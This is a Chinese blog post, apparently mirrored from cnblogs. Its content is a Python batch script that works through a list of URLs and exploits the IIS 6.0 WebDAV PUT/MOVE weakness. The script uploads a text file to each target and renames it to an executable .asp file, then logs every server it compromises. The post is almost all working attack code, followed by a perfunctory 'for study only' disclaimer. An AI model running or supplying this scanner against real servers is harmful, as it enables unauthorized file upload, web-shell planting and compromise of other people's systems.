zoukankan      html  css  js  c++  java
  • IISPUT 批量脚本的编写

    import requests
    import re
    import sys
    
    header = {
        "Accept":"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
        "Accept-Encoding":"gzip, deflate, br",
        "Accept-Language":"zh-CN,zh;q=0.9",
        "Connection":"keep-alive",
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36",
        "X-CSRF-Token":"DpraMUR6PuefxdVpDmbZmgW9572Oz4CKSkqLa4u+astRxa+NSW5t0gfjlRB8cESuUrBvrD+zkGA9GFcfEYAVZA==",
        "X-Requested-With":"XMLHttpRequest",
    }
    header1 = {
        "Accept":"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
        "Accept-Encoding":"gzip, deflate, br",
        "Accept-Language":"zh-CN,zh;q=0.9",
        "Connection":"keep-alive",
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36",
        "X-CSRF-Token":"DpraMUR6PuefxdVpDmbZmgW9572Oz4CKSkqLa4u+astRxa+NSW5t0gfjlRB8cESuUrBvrD+zkGA9GFcfEYAVZA==",
        "X-Requested-With":"XMLHttpRequest",
        "Destination":"/love.asp",
        }
    body='whoami'
    def OKtxt(str):
        with open("OKIIS.txt",'a') as b:
            b.write(str)
    def OKurl(url):
        try:
            r=requests.put(url=url+'/love.txt',headers=header,data=body,timeout=10)
            print(r.status_code)
            if r.status_code == 200:
                r=requests.put(url=url+'/love.txt',headers=header,data=body,timeout=10)
                link_list = re.findall(r'who(.*?)i', r.text, re.S|re.I)
                print(link_list)
                
                print("===========have no IIS6.0 PUT ===========")
            elif r.status_code == 201:
                print("===========        GOOD       ===========")
                print("===========   git it          ===========")
                r=requests.move(url=url+'/love.txt',headers=header1,timeout=10)
                OKtxt(url+"
    ")
            elif r.status_code == 204:
                r=requests.put(url=url+'/love.txt',headers=header,data=body,timeout=10)
                link_list = re.findall(r'who(.*?)i', r.text, re.S|re.I)
                print(link_list)
                print("===========GOOD===========")
            else:
                r=requests.put(url=url+'/love.txt',headers=header,data=body,timeout=10)
                link_list = re.findall(r'who(.*?)i', r.text, re.S|re.I)
                print(link_list)
                print("=========== byby ===========")
        except:
           print("===========badly===========")
    f =open("url.txt",'r')
    i=0
    urllist=f.readlines()
    for url in urllist:
        if len(url)>2:
            OKurl(url)
        else:
            print("========  OVer ========")
            
    
                
    

    此脚本仅仅用于学习参考 切勿用于一切非法用途

     一切后果与本人不管

     且勿违反法律道德,后果自负

  • 相关阅读:
    进程Queue
    进程ID
    多进程
    queue 生产者、清费者
    让静态页面显示用户登录状态
    apache2.2 + tomcat6 整合以及集群配置整理
    linux安装rzsz
    http_load
    用Ant实现Java项目的自动构建和部署
    Openfire:安装指南
  • 原文地址:https://www.cnblogs.com/-zhong/p/11737010.html
Copyright © 2011-2022 走看看